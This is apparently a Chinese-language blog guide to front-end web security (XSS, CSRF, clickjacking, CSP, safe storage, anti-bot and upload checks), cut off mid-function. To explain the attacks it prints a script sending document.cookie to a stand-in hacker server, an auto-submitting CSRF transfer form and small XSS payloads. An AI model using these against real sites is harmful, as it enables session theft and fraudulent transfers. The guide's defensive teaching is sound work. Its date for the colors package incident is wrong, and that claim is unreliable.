前端老铁必看：2026年防黑客指南，守住你的代码钱包（附避坑实操）

前端老铁必看：2026年防黑客指南，守住你的代码钱包（附避坑实操）

• 前端老铁必看：2026年防黑客指南，守住你的代码钱包（附避坑实操）
• • 别以为后端能扛所有雷，前端早就成重灾区了
  • • 那些年我们踩过的坑
    • 用户浏览器就是你的第一道防线
  • 扒开前端的底裤，看看安全到底是个啥玩意儿
  • • 同源策略：浏览器其实是操碎了心的老保姆
    • 内容安全策略CSP：给网页请个24小时保安
  • 手把手教你给代码穿上防弹衣，这些操作必须焊死
  • • 转义！转义！再转义！
    • 别再信什么"内联事件"了
    • 搞定CSP配置，让浏览器只认自家资源
    • 敏感数据别往LocalStorage里塞
    • 依赖包管理要上心
  • 这招虽好但也有副作用，别把自己给绕进去了
  • • 安全性太高导致用户体验拉胯
    • CSP配太严容易误伤自己人
    • 性能开销那点事儿
    • 维护成本直线上升
  • 真实项目里怎么搞？别光说不练假把式
  • • 电商大促防刷单：怎么在按钮上做手脚防止脚本狂点
    • 金融后台防篡改：关键数据展示前如何二次校验
    • 社交应用防钓鱼：链接跳转前的域名白名单校验
    • 上传组件防木马：前端怎么初步过滤文件类型和大小
  • 代码跑不起来别慌，这几招排查思路能救急
  • • 控制台报CSP错误一脸懵？
    • 明明转义了还是被注入？
    • 依赖包爆出高危漏洞
    • 遇到诡异的跨域问题
  • 几个让老板直呼内行的骚操作技巧
  • • 用Subresource Integrity给第三方CDN加把锁
    • 自动化扫描集成到CI/CD流水线
    • 混淆代码别只为了防逆向
    • 定期搞搞"红蓝对抗"
  • 万一真被黑了也别原地去世，留条后路好翻身
  • • 紧急预案得准备好
    • 日志记录要留痕
    • 别光顾着修洞，记得给用户发公告
    • 吃一堑长一智

前端老铁必看：2026年防黑客指南，守住你的代码钱包（附避坑实操）

别以为后端能扛所有雷，前端早就成重灾区了

说实话，我干前端这些年，发现一个特别有意思的现象：每次开会聊安全，后端那帮人总是拍着胸脯说"放心，接口我都做了鉴权"，然后产品经理就真信了，转头跟我们说"前端随便做做就行，反正有后端兜底"。

我兜你个大头鬼啊！

2026年了兄弟们，黑客早就不跟你玩硬碰硬那套了。现在流行的是"前端渗透"——专门挑软柿子捏。为啥？因为前端代码是裸奔的，用户浏览器是公开的，你写的每一行JS都可能成为突破口。

那些年我们踩过的坑

XSS偷Cookie这事儿我经历过一次，至今想起来还后背发凉。当时我们做一个社区网站，评论区没做过滤，有个"热心用户"发了条评论：

<script>
fetch('https://黑客服务器.com/偷数据?cookie=' + document.cookie);
</script>

就这么简单三行代码，当天夜里就有几百个用户的登录态被盗。更绝的是，这脚本还会自动转发用户的私信内容。第二天老板脸都绿了，我们全组加班了一周做安全整改。

CSRF乱转账这个更阴险。假设你们公司有个转账接口POST /api/transfer，后端确实校验了登录态，但忘了校验请求来源。黑客只需要做个钓鱼页面：

<!– 黑客的钓鱼网站 –>
<form action="https://你们银行.com/api/transfer" method="POST" id="evilForm">
<input type="hidden" name="to" value="黑客账号">
<input type="hidden" name="amount" value="1000000">
</form>
<script>document.getElementById('evilForm').submit();</script>

用户只要之前登录过你们网站，打开这个页面钱就没了。后端还一脸懵逼："我明明校验了Cookie啊？"是啊，Cookie是浏览器自动带上的，黑客根本不用知道Cookie值是啥。

点击劫持这招最损。黑客做个游戏页面，"点击开始游戏"的按钮下面，用iframe嵌套你们网站的"确认转账"按钮，透明度调成0。用户以为自己在玩游戏，实际上在疯狂确认转账。这套路在2010年就有了，2026年还有人中招，你说气不气人？

用户浏览器就是你的第一道防线

很多前端同学有个误区，觉得安全是后端的事。醒醒吧兄弟，用户浏览器可是在你手里啊！DOM操作、数据存储、网络请求，哪一样不是前端在管？

想象一下这个场景：你们公司做个金融APP，用户余额显示在前端，如果前端代码被篡改，显示余额100万实际只有100块，用户当场心态爆炸。这时候你说"后端数据是对的"有用吗？用户只信自己屏幕上看到的。

所以啊，前端安全不是锦上添花，是底线。底线崩了，后面全完蛋。

扒开前端的底裤，看看安全到底是个啥玩意儿

别整那些"CIA三元组"（机密性、完整性、可用性）的教科书定义，听着就犯困。咱们前端的安全，说白了就一句话：不让坏人随便动你的DOM和接口。

坏人想干啥？无非就这几样：

• 往你页面里塞恶意脚本（XSS）
• 冒充用户发请求（CSRF）
• 偷看用户存在本地的数据
• 劫持用户的点击操作
• 篡改你加载的第三方资源

防住这些，基本就及格了。

同源策略：浏览器其实是操碎了心的老保姆

同源策略（Same-Origin Policy）这玩意儿，说白了就是浏览器给上的第一道锁。协议、域名、端口三者都一样，才叫同源，才能随便玩。不一样？那不好意思，AJAX请求默认发不出去，DOM也操作不了别人的页面。

但这里有个大坑：同源策略管的是请求发不发得出去，不是管数据回不回得来。也就是说，黑客的页面可以往你们服务器发请求（带着用户的Cookie），只是拿不到返回结果。但像CSRF这种"发出去就完事"的攻击，同源策略根本拦不住。

还有CORS（跨域资源共享），这其实是服务器说"我信任谁"，不是浏览器说"我限制谁"。很多前端同学搞混这个，以为配置了CORS就安全了，其实CORS防的是合法跨域，不是黑客攻击。

// 错误认知：加了CORS就万事大吉
// 实际情况：CORS是服务器开的门，黑客该钻还是钻

// 正确的CORS配置（后端示例）
// 千万别写*，特别是带Cookie的请求
res.header('Access-Control-Allow-Origin', 'https://你的域名.com');
res.header('Access-Control-Allow-Credentials', 'true');

内容安全策略CSP：给网页请个24小时保安

CSP（Content Security Policy）是我最喜欢的安全机制，没有之一。它就是给网页请了个保安，明确规定"哪些资源能加载、哪些能执行"。

配置CSP有两种方式，HTTP响应头更靠谱：

// 后端设置CSP头（Node.js/Express示例）
app.use((req, res, next) => {
res.setHeader('Content-Security-Policy',
"default-src 'self'; " + // 默认只能加载同源资源
"script-src 'self' https://cdn.jsdelivr.net; " + // JS只能来自这里
"style-src 'self' 'unsafe-inline'; " + // CSS允许内联（不得已而为之）
"img-src 'self' data: https:; " + // 图片来源
"connect-src 'self' https://api.你的域名.com; " + // AJAX请求目标
"frame-ancestors 'none'; " + // 禁止被嵌入iframe（防点击劫持）
"base-uri 'self'; " + // <base>标签只能指向自己
"form-action 'self';" // 表单只能提交到自己
);
next();
});

或者用HTML的meta标签（功能受限，不推荐用于生产环境）：

<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self';">

CSP的精髓在于白名单机制。哪怕你页面被注入了恶意脚本，只要这个脚本的来源不在白名单里，浏览器直接拒绝执行。这就是"即使被XSS了也能止损"的兜底方案。

但配置CSP是个技术活，配太松没用，配太严容易把自己搞死。后面我们会细聊这个。

手把手教你给代码穿上防弹衣，这些操作必须焊死

好了，理论聊够了，上硬菜。下面这些操作，建议你直接做成代码检查清单，每次提交前过一遍。

转义！转义！再转义！

XSS的本质是用户输入被当成代码执行了。所以核心防御思路就一个：把用户的输入当成纯文本，而不是HTML/JS。

场景1：DOM插入

// ❌ 找死写法，直接innerHTML用户输入
function displayComment(userInput) {
document.getElementById('comment-box').innerHTML = userInput;
}

// 用户输入：<img src=x onerror=alert('XSS')>
// 结果：弹窗，Cookie被盗

// ✅ 安全写法，用textContent或者转义
function displayCommentSafe(userInput) {
// 方法1：用textContent，浏览器自动转义
const box = document.getElementById('comment-box');
box.textContent = userInput; // 所有HTML标签都会变成纯文本显示

// 方法2：手动转义后再用innerHTML（如果需要保留部分标签）
const escaped = userInput
.replace(/&/g, '&amp;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/"/g, '&quot;')
.replace(/'/g, '&#x27;')
.replace(/\\//g, '&#x2F;');
box.innerHTML = escaped;
}

场景2：动态URL

// ❌ 危险，用户输入可能构造javascript:协议
function redirect(userInput) {
window.location.href = userInput;
}

// 用户输入：javascript:alert(document.cookie)
// 结果：XSS执行

// ✅ 安全写法，白名单校验
function redirectSafe(userInput) {
// 只允许跳转到白名单域名
const allowedDomains = ['yourdomain.com', 'sub.yourdomain.com'];
const url = new URL(userInput);

if (allowedDomains.includes(url.hostname)) {
window.location.href = userInput;
} else {
console.warn('非法跳转域名:', url.hostname);
// 要么不跳转，要么跳转到安全提示页
window.location.href = '/error/invalid-redirect';
}
}

场景3：模板渲染（React/Vue/Angular）

现代框架默认做了转义，但别高兴太早，坑还在后面：

// React 示例
function UserProfile({ userBio }) {
return (
<div>
{/* ✅ 安全：JSX自动转义 */}
<p>{userBio}</p>

{/* ❌ 危险：故意绕过转义 */}
<div dangerouslySetInnerHTML={{ __html: userBio }}></div>

{/* ❌ 危险：URL协议没校验 */}
<a href={userWebsite}>个人网站</a>

{/* ✅ 安全：URL白名单校验 */}
<a href={isTrustedUrl(userWebsite) ? userWebsite : '#'}>
个人网站
</a>
</div>
);
}

// Vue 示例
<template>
<!– ✅ 安全：Mustache语法自动转义 –>
<div>{{ userInput }}</div>

<!– ❌ 危险：v-html等于开闸放水 –>
<div v-html="userInput"></div>
</template>

记住一个原则：只要看到innerHTML、dangerouslySetInnerHTML、v-html这些API，大脑就要自动拉响警报。不是不能用，是用之前必须确保内容已经被净化过。

别再信什么"内联事件"了

onclick、onmouseover这些内联事件处理器，简直就是XSS的温床。不仅代码难看，还容易被注入：

<!– ❌ 古董级写法，赶紧扔 –>
<button onclick="submitForm()">提交</button>

<!– 如果submitForm是从后端动态生成的，黑客可以注入：
onclick="恶意代码;submitForm()" –>

<!– ✅ 现代写法，事件监听分离 –>
<button id="submitBtn">提交</button>
<script>
document.getElementById('submitBtn').addEventListener('click', submitForm);
</script>

配合CSP的unsafe-inline策略，直接禁止内联脚本执行：

// CSP配置：禁止内联脚本
"script-src 'self';" // 没有'unsafe-inline'，所有onclick都失效

搞定CSP配置，让浏览器只认自家资源

前面说了CSP好，但具体怎么配？这里给个生产环境可用的配置模板：

// 生产环境CSP配置（渐进式，先报告后拦截）
const cspPolicy = {
// 默认策略：都给我同源
'default-src': ["'self'"],

// JS策略：只允许自己域名和特定CDN
'script-src': [
"'self'",
'https://cdn.jsdelivr.net', // 常用CDN
'https://unpkg.com',
// 如果需要内联脚本（不推荐），用nonce或者hash
// "'nonce-随机值'",
],

// CSS策略：允许内联（因为Vue/React组件样式常用内联）
'style-src': ["'self'", "'unsafe-inline'"],

// 图片：允许同源、dataURI、HTTPS
'img-src': ["'self'", 'data:', 'https:'],

// 字体：只允许同源
'font-src': ["'self'"],

// 连接目标（AJAX/WebSocket）
'connect-src': [
"'self'",
'https://api.yourdomain.com',
'wss://realtime.yourdomain.com'
],

// 媒体资源
'media-src': ["'self'"],

// 对象资源（flash/pdf插件等，建议直接禁止）
'object-src': ["'none'"],

// iframe嵌套策略：防点击劫持
'frame-ancestors': ["'none'"], // 完全禁止被嵌入

// 表单提交目标
'form-action': ["'self'"],

// 基础URI（防<base>标签劫持）
'base-uri': ["'self'"],

// 升级不安全请求（HTTP自动转HTTPS）
'upgrade-insecure-requests': [],

// 违规报告地址（先开报告模式观察，再开拦截）
// 'report-uri': ['https://your-csp-report-endpoint.com/csp'],
// 或者新的report-to API
};

// 组装成字符串
const cspString = Object.entries(cspPolicy)
.map(([key, values]) => `${key} ${values.join(' ')}`)
.join('; ');

// 设置响应头
res.setHeader('Content-Security-Policy', cspString);

上线前的小技巧：先用Content-Security-Policy-Report-Only头跑一周，收集违规报告但不拦截，确认没有误伤再切到正式模式。

敏感数据别往LocalStorage里塞

我见过太多前端把JWT令牌、用户密码、甚至银行卡号往LocalStorage里扔的。兄弟们，LocalStorage就是个透明玻璃柜，谁都能看：

// ❌ 作死操作大全
localStorage.setItem('jwt_token', token); // XSS一偷一个准
localStorage.setItem('user_password', pwd); // 密码存前端？疯了吧
localStorage.setItem('credit_card', cardNo); // 想坐牢就直说

// ✅ 相对安全的做法
// 1. 内存存储（页面刷新丢失，但安全）
let memoryToken = null;
function setToken(token) {
memoryToken = token;
// 设置过期定时器
setTimeout(() => { memoryToken = null; }, 3600 * 1000);
}

// 2. 实在要持久化，用httpOnly Cookie（后端设置，JS读不到）
// Set-Cookie: sessionId=xxx; HttpOnly; Secure; SameSite=Strict; Max-Age=3600

// 3. 加密存储（防君子不防小人，密钥还得存哪？）
// 用Web Crypto API加密，但密钥管理是个难题
async function encryptData(data, key) {
const encoder = new TextEncoder();
const encoded = encoder.encode(data);
const encrypted = await crypto.subtle.encrypt(
{ name: 'AES-GCM', iv: crypto.getRandomValues(new Uint8Array(12)) },
key,
encoded
);
return btoa(String.fromCharCode(…new Uint8Array(encrypted)));
}

记住：LocalStorage和SessionStorage都不防XSS，只要页面被注入脚本，这些数据就是裸奔的。真正敏感的东西，要么放内存，要么让后端用httpOnly Cookie管。

依赖包管理要上心

npm生态是把双刃剑，方便是方便，但供应链攻击越来越猖獗。2024年那个colors包被植入恶意代码的事件还记得吧？几万个项目受影响。

# ❌ 闭眼安装，生死有命
npm install some-random-package

# ✅ 安全安装流程
# 1. 先看包的基本信息
npm view some-package # 看作者、版本历史、依赖数

# 2. 检查漏洞
npm audit
npm audit fix

# 3. 锁定版本，防止自动更新被投毒
# package.json里用精确版本，不用^或~
"dependencies": {
"lodash": "4.17.21", // 精确锁定
// 不要这样：
// "lodash": "^4.17.21" // 可能自动升级到被篡改的版本
}

# 4. 使用lock文件
npm ci # 严格按package-lock.json安装，不自动更新

// 前端代码里也可以做运行时校验
// 检查关键依赖的完整性（简单示例）
function verifyDependencies() {
// 计算关键文件的hash，和预期值比对
// 这个需要构建时生成hash清单
const expectedHashes = window.EXPECTED_HASHES; // 构建时注入

// 实际项目中可以用Subresource Integrity（后面会讲）
}

这招虽好但也有副作用，别把自己给绕进去了

安全这东西，讲究的是平衡。防得太松是找死，防得太严是作死。下面这些坑，都是血泪教训。

安全性太高导致用户体验拉胯

最典型的就是验证码。为了防爬虫，有些产品搞了个"点击-滑动-拼图-短信验证"四连击，用户注册个账号要五分钟，直接流失一半。

// ❌ 过度防御示例
async function submitForm() {
// 1. 图形验证码
await showCaptcha();
// 2. 短信验证码
await sendSMSCode();
await verifySMSCode();
// 3. 行为检测（鼠标轨迹分析）
await behaviorAnalysis();
// 4. 设备指纹验证
await deviceFingerprint();

// 终于能提交了…
await actualSubmit();
}

// ✅ 渐进式防御：根据风险等级动态调整
async function smartSubmit(userAction) {
const riskScore = calculateRisk(userAction); // 基于行为、设备、IP评分

if (riskScore > 80) {
// 高风险用户，严格验证
await strictVerification();
} else if (riskScore > 40) {
// 中等风险，简单验证
await simpleCaptcha();
} else {
// 低风险，直接通过
await actualSubmit();
}
}

解决方案：用风控系统做分层，正常用户无感知，可疑用户才上手段。别搞"宁可错杀一千"那套。

CSP配太严容易误伤自己人

刚开始配CSP的时候，我图省事直接default-src 'self'，结果线上炸了：

• 第三方统计脚本被拦了，数据断层
• 客服系统的在线聊天插件挂了
• 支付回调页面用了内联脚本，支付成功页白屏

// 调试CSP违规的实用代码
// 监听CSP违规报告（即使开的是Report-Only模式也能用）
document.addEventListener('securitypolicyviolation', (e) => {
console.group('CSP违规');
console.log('违规资源:', e.blockedURI);
console.log('违规指令:', e.violatedDirective);
console.log('原始策略:', e.originalPolicy);
console.log('来源文档:', e.documentURI);
console.groupEnd();

// 发送到监控平台
reportToMonitoring({
type: 'csp_violation',
blockedURI: e.blockedURI,
violatedDirective: e.violatedDirective,
timestamp: Date.now()
});
});

建议：上线前先在测试环境跑全量功能测试，控制台打开看有没有CSP报错。或者用CSP的report-only模式跑生产环境一周，收集完违规报告再切正式模式。

性能开销那点事儿

加密解密是CPU密集型操作，前端做太多会影响页面流畅度。

// ❌ 过度加密，页面卡成PPT
function encryptAllData(data) {
// 对每个字段都AES加密，大数据量时主线程阻塞
return data.map(item => ({
id: encrypt(item.id), // ID加密有必要吗？
name: encrypt(item.name), // 用户名也要加密？
content: encrypt(item.content) // 正文加密可以理解
}));
}

// ✅ 合理加密，区分敏感等级
function smartEncrypt(data) {
return {
id: data.id, // 非敏感，明文
name: data.name, // 非敏感，明文（或者简单脱敏）
phone: maskPhone(data.phone), // 脱敏：138****8888
idCard: encrypt(data.idCard), // 敏感，加密
bankCard: encrypt(data.bankCard) // 敏感，加密
};
}

// 大文件加密用Web Worker，别阻塞主线程
// worker.js
self.addEventListener('message', async (e) => {
const { file, key } = e.data;
const encrypted = await encryptLargeFile(file, key);
self.postMessage({ encrypted });
});

维护成本直线上升

安全配置多了，新人接手直接懵圈。我见过一个项目，CSP配置了200多行，各种nonce、hash满天飞，改个页面要改三处配置。

应对策略：

// 用helmet库简化CSP配置（Express示例）
const helmet = require('helmet');

app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", (req, res) => `'nonce-${res.locals.nonce}'`],
// 其他配置…
},
}));

// 自动生成nonce，注入到模板
app.use((req, res, next) => {
res.locals.nonce = crypto.randomBytes(16).toString('hex');
next();
});

真实项目里怎么搞？别光说不练假把式

理论聊完了，上几个真实场景的方案。

电商大促防刷单：怎么在按钮上做手脚防止脚本狂点

大促时候最怕机器人脚本，0.1秒刷几千个订单，库存直接归零。

// 方案1：前端防抖 + 后端幂等（基础版）
class AntiSpamButton {
constructor(buttonId, options = {}) {
this.button = document.getElementById(buttonId);
this.cooldown = options.cooldown || 3000; // 3秒冷却
this.isProcessing = false;
this.token = null; // 后端下发的防重令牌

this.init();
}

init() {
// 禁用原生点击，接管事件
this.button.addEventListener('click', (e) => this.handleClick(e));

// 预获取令牌（可选，增加脚本复杂度）
this.fetchToken();
}

async fetchToken() {
// 从后端获取一次性令牌，带时间戳和签名
const res = await fetch('/api/order/token');
const data = await res.json();
this.token = data.token; // 例如：md5(用户ID+时间戳+后端密钥)
}

async handleClick(e) {
e.preventDefault();

if (this.isProcessing) {
this.shakeButton(); // 视觉反馈：抖动提示
return;
}

// 人机验证（高风险操作）
if (await this.shouldVerifyHuman()) {
const verified = await this.verifyHuman();
if (!verified) return;
}

this.isProcessing = true;
this.button.disabled = true;
this.button.textContent = '提交中…';

try {
// 带上防重令牌
const result = await this.submitOrder();

if (result.success) {
this.showSuccess();
// 成功后重置令牌
await this.fetchToken();
}
} catch (err) {
this.showError(err);
} finally {
// 冷却时间后才允许再次点击
setTimeout(() => {
this.isProcessing = false;
this.button.disabled = false;
this.button.textContent = '立即抢购';
}, this.cooldown);
}
}

async shouldVerifyHuman() {
// 根据点击频率、设备指纹等判断是否像机器人
const recentClicks = this.getRecentClickCount(60); // 1分钟内点击次数
return recentClicks > 5;
}

async verifyHuman() {
// 弹出滑块验证码或点击验证
return new Promise((resolve) => {
const captcha = new SliderCaptcha({
onSuccess: () => resolve(true),
onFail: () => resolve(false)
});
captcha.show();
});
}

async submitOrder() {
const res = await fetch('/api/order/create', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-Order-Token': this.token, // 防重放攻击
'X-Request-ID': generateUUID() // 请求唯一ID，便于追踪
},
body: JSON.stringify({
skuId: this.button.dataset.skuId,
quantity: 1,
timestamp: Date.now() // 后端校验时间戳，防止重放旧请求
})
});
return res.json();
}

// 视觉反馈方法…
shakeButton() {
this.button.classList.add('shake');
setTimeout(() => this.button.classList.remove('shake'), 500);
}
}

// 使用
const buyBtn = new AntiSpamButton('buy-now-btn', { cooldown: 5000 });

// 方案2：行为分析（进阶版，防高级脚本）
class BehaviorAnalysis {
constructor() {
this.events = [];
this.startTime = Date.now();
this.trackEvents();
}

trackEvents() {
// 记录鼠标轨迹
document.addEventListener('mousemove', (e) => {
this.events.push({
type: 'mouse',
x: e.clientX,
y: e.clientY,
t: Date.now() – this.startTime,
speed: this.calculateSpeed(e) // 移动速度
});
});

// 记录点击特征
document.addEventListener('mousedown', (e) => {
this.events.push({
type: 'click',
x: e.clientX,
y: e.clientY,
t: Date.now() – this.startTime,
pressure: e.pressure || 1, // 触控压力（如果有）
button: e.button // 左键/右键
});
});

// 记录键盘节奏（输入框）
document.addEventListener('keydown', (e) => {
this.events.push({
type: 'key',
key: e.key,
t: Date.now() – this.startTime,
interval: this.lastKeyTime ? Date.now() – this.lastKeyTime : 0
});
this.lastKeyTime = Date.now();
});
}

calculateSpeed(e) {
if (this.lastMousePos) {
const dx = e.clientX – this.lastMousePos.x;
const dy = e.clientY – this.lastMousePos.y;
const dt = Date.now() – this.lastMousePos.t;
return Math.sqrt(dx*dx + dy*dy) / dt;
}
return 0;
}

getRiskScore() {
// 发送给后端做机器学习判断
// 机器人特征：轨迹直线、速度恒定、点击坐标规律
return fetch('/api/risk/analyze', {
method: 'POST',
body: JSON.stringify({ events: this.events })
});
}
}

金融后台防篡改：关键数据展示前如何二次校验

金融系统最怕"显示金额100万，实际扣款1000万"这种事故。前端要做的是展示层防篡改和关键操作二次确认。

// 数据完整性校验类
class DataIntegrityChecker {
constructor(secretKey) {
// 从后端获取的密钥（每次会话不同）
this.key = secretKey;
}

// 生成数据签名（后端也用这个算法）
generateSignature(data) {
// 简化示例，实际用HMAC-SHA256
const str = JSON.stringify(data) + this.key;
return btoa(str.split('').reduce((a,b)=>a+((a<<5)–a)+b.charCodeAt(0),0));
}

// 校验数据是否被篡改
verify(data, signature) {
const computed = this.generateSignature(data);
return computed === signature;
}

// 敏感数据展示组件
renderSecureAmount(amount, signature) {
const data = { amount, currency: 'CNY', timestamp: Date.now() };

if (!this.verify(data, signature)) {
// 数据被篡改！
this.showTamperAlert();
return `<span class="error">数据异常，请刷新页面</span>`;
}

// 额外：前端二次计算校验
if (amount > 1000000) {
// 大额标记，需要额外确认
return `
<span class="amount large" data-amount="${amount}">
¥${this.formatAmount(amount)}
<span class="warning-tag">大额</span>
</span>
`;
}

return `<span class="amount">¥${this.formatAmount(amount)}</span>`;
}

showTamperAlert() {
// 严重安全事件，上报并锁定操作
fetch('/api/security/alert', {
method: 'POST',
body: JSON.stringify({
type: 'DATA_TAMPER',
page: location.href,
timestamp: Date.now()
})
});

// 锁定界面
document.body.innerHTML = `
<div class="security-lock">
<h1>⚠️ 安全警告</h1>
<p>检测到数据异常，操作已中止。请联系技术支持。</p>
</div>
`;
}

formatAmount(num) {
return num.toLocaleString('zh-CN', { minimumFractionDigits: 2 });
}
}

// 使用示例：转账确认页
class TransferConfirmPage {
constructor() {
this.checker = new DataIntegrityChecker(window.SECURITY_KEY);
}

render(data) {
// 数据来自后端，带签名
const { amount, toAccount, signature } = data;

return `
<div class="confirm-box">
<h2>转账确认</h2>
<div class="field">
<label>收款账户</label>
<div class="value">${this.maskAccount(toAccount)}</div>
</div>
<div class="field">
<label>转账金额</label>
<div class="value">
${this.checker.renderSecureAmount(amount, signature)}
</div>
</div>
<div class="field">
<label>手续费</label>
<div class="value">¥${(amount * 0.001).toFixed(2)}</div>
</div>
<button id="confirm-btn" disabled>确认转账（3秒后可点击）</button>
</div>
`;
}

// 倒计时防误触
startConfirmCountdown() {
let seconds = 3;
const btn = document.getElementById('confirm-btn');

const timer = setInterval(() => {
seconds—;
if (seconds <= 0) {
clearInterval(timer);
btn.disabled = false;
btn.textContent = '确认转账';
btn.onclick = () => this.finalConfirm();
} else {
btn.textContent = `确认转账（${seconds}秒）`;
}
}, 1000);
}

finalConfirm() {
// 最终确认前再次校验数据完整性
// 并且需要输入支付密码/指纹/人脸
this.showPasswordInput();
}
}

社交应用防钓鱼：链接跳转前的域名白名单校验

社交产品里用户发的链接是钓鱼重灾区，前端要做点击拦截和安全提示。

// 链接安全处理器
class LinkGuard {
constructor() {
// 可信域名白名单（可配置化）
this.whitelist = [
'github.com',
'stackoverflow.com',
'juejin.cn',
// … 其他可信站点
];

// 危险域名黑名单（已知钓鱼站点）
this.blacklist = [
'githhub.com', // 仿冒github
'stckoverflow.com', // 仿冒stackoverflow
// …
];

this.init();
}

init() {
// 代理所有链接点击
document.addEventListener('click', (e) => {
const link = e.target.closest('a[href]');
if (!link) return;

const url = link.href;

// 外部链接才处理
if (this.isExternal(url)) {
e.preventDefault();
this.handleExternalLink(url, link);
}
});
}

isExternal(url) {
const linkHost = new URL(url).hostname;
const currentHost = location.hostname;
return linkHost !== currentHost;
}

async handleExternalLink(url, originalLink) {
const analysis = this.analyzeUrl(url);

if (analysis.isDangerous) {
this.showDangerModal(url, analysis.reason);
return;
}

if (!analysis.isTrusted) {
// 未知域名，显示安全提示页
this.showSafetyTip(url, () => {
window.open(url, '_blank', 'noopener,noreferrer');
});
return;
}

// 可信域名，直接跳转
window.open(url, '_blank', 'noopener,noreferrer');
}

analyzeUrl(url) {
const urlObj = new URL(url);
const domain = urlObj.hostname.toLowerCase();

// 1. 检查黑名单（精确匹配和模糊匹配）
if (this.blacklist.includes(domain)) {
return { isDangerous: true, reason: '已知钓鱼网站' };
}

// 2. 检查相似域名（防仿冒）
for (const trusted of this.whitelist) {
if (this.isSimilarDomain(domain, trusted)) {
return {
isDangerous: true,
reason: `疑似仿冒 ${trusted} 的钓鱼网站`
};
}
}

// 3. 检查协议
if (urlObj.protocol !== 'https:') {
return { isDangerous: false, isTrusted: false, reason: '非安全链接' };
}

// 4. 检查是否在白名单
const isTrusted = this.whitelist.some(d =>
domain === d || domain.endsWith('.' + d)
);

return { isDangerous: false, isTrusted };
}

// 编辑距离算法判断相似域名
isSimilarDomain(domain1, domain2) {
if (domain1 === domain2) return false; // 完全相同不算相似

// Levenshtein距离
const distance = this.levenshtein(domain1, domain2);
const similarity = 1 – distance / Math.max(domain1.length, domain2.length);

// 相似度>0.8且不是子域名，判定为仿冒
return similarity > 0.8 && !domain1.endsWith('.' + domain2);
}

levenshtein(a, b) {
// 算法实现…
const matrix = [];
for (let i = 0; i <= b.length; i++) matrix[i] = [i];
for (let j = 0; j <= a.length; j++) matrix[0][j] = j;

for (let i = 1; i <= b.length; i++) {
for (let j = 1; j <= a.length; j++) {
matrix[i][j] = b.charAt(i–1) === a.charAt(j–1)
? matrix[i–1][j–1]
: Math.min(matrix[i–1][j–1] + 1, Math.min(matrix[i][j–1] + 1, matrix[i–1][j] + 1));
}
}
return matrix[b.length][a.length];
}

showSafetyTip(url, onConfirm) {
// 模态框提示用户确认
const modal = document.createElement('div');
modal.className = 'safety-modal';
modal.innerHTML = `
<div class="modal-content">
<h3>⚠️ 即将访问外部网站</h3>
<p>目标网址：<code>${this.escapeHtml(url)}</code></p>
<p>该网站不在我们的可信列表中，请注意：</p>
<ul>
<li>不要输入密码或银行卡信息</li>
<li>确认网址拼写正确，谨防钓鱼</li>
<li>建议开启隐私模式访问</li>
</ul>
<label>
<input type="checkbox" id="remember-choice">
记住我对该域名的选择
</label>
<div class="actions">
<button class="btn-cancel">取消</button>
<button class="btn-confirm">继续访问</button>
</div>
</div>
`;

modal.querySelector('.btn-confirm').onclick = () => {
onConfirm();
modal.remove();
};
modal.querySelector('.btn-cancel').onclick = () => modal.remove();

document.body.appendChild(modal);
}

escapeHtml(text) {
const div = document.createElement('div');
div.textContent = text;
return div.innerHTML;
}
}

上传组件防木马：前端怎么初步过滤文件类型和大小

文件上传是木马入侵的主要途径，前端要做前置过滤，减轻后端压力（但记住，前端过滤不可靠，后端必须再验）。

class SecureUploader {
constructor(inputElement, options = {}) {
this.input = inputElement;
this.maxSize = options.maxSize || 5 * 1024 * 1024; // 默认5MB
this.allowedTypes = options.allowedTypes || ['image/jpeg', 'image/png', 'application/pdf'];
this.allowedExts = options.allowedExts || ['.jpg', '.jpeg', '.png', '.pdf'];

this.init();
}

init() {
this.input.addEventListener('change', (e) => this.handleFileSelect(e));

// 拖拽上传也要防
this.input.addEventListener('dragover', (e) => e.preventDefault());
this.input.addEventListener('drop', (e) => {
e.preventDefault();
this.handleFiles(e.dataTransfer.files);
});
}

async handleFileSelect(e) {
await this.handleFiles(e.target.files);
// 清空input，允许重复选择同一文件
e.target.value = '';
}

async handleFiles(files) {
for (const file of files) {
const check = this.validateFile(file);

if (!check.valid) {
this.showError(file.name, check.reason);
continue;
}

// 深度检查（针对图片）
if (file.type.startsWith('image/')) {
const imageCheck = await this.validateImage(file);
if (!imageCheck.valid) {
this.showError(file.name, imageCheck.reason);
continue;
}
}

// 通过检查，准备上传
this.uploadFile(file);
}
}

validateFile(file) {
// 1. 大小检查
if (file.size > this.maxSize) {
return { valid: false, reason: `文件过大，最大允许${this.maxSize/1024/1024}MB` };
}

// 2. MIME类型检查（可伪造，需结合后缀检查）
if (!this.allowedTypes.includes(file.type)) {
return { valid: false, reason: `不支持的文件类型：${file.type}` };
}

// 3. 后缀名检查（双重验证）
const ext = '.' + file.name.split('.').pop().toLowerCase();
if (!this.allowedExts.includes(ext)) {
return { valid: false, reason: `不支持的文件后缀：${ext}` };
}

// 4. 文件名安全检查（防止路径遍历）
if (file.name.includes('..') || file.name.includes('/') || file.name.includes('\\\\')) {
return { valid: false, reason: '文件名包含非法字符' };
}

return { valid: true };
}

// 图片深度检查：验证文件头魔数，防止伪装
validateImage(file) {
return new Promise((resolve) => {
const reader = new FileReader();
reader.onloadend = (e) => {
const arr = new Uint8Array(e.target.result).subarray(0, 4);
let header = '';
for (let i = 0; i < arr.length; i++) {
header += arr[i].toString(16);
}

// 文件头魔数检查
const signatures = {
'89504e47': 'image/png',
'ffd8ffe0': 'image/jpeg',
'ffd8ffe1': 'image/jpeg',
'25504446': 'application/pdf', // PDF
};

const detectedType = signatures[header];

if (!detectedType) {
resolve({ valid: false, reason: '文件头异常，可能是伪装文件' });
return;
}

if (detectedType !== file.type) {
resolve({ valid: false, reason: '文件类型与声明不符，可能为恶意文件' });
return;
}

// 额外：图片尺寸检查（防止图片炸弹）
this.checkImageDimensions(file, (width, height) => {
if (width * height > 100000000) { // 1亿像素限制
resolve({ valid: false, reason: '图片尺寸过大' });
} else {
resolve({ valid: true });
}
});
};
reader.readAsArrayBuffer(file.slice(0, 4));
});
}

checkImageDimensions(file, callback) {
const img = new Image();
const url = URL.createObjectURL(file);
img.onload = () => {
callback(img.width, img.height);
URL.revokeObjectURL(url);
};
img.src = url;
}

async uploadFile(file) {
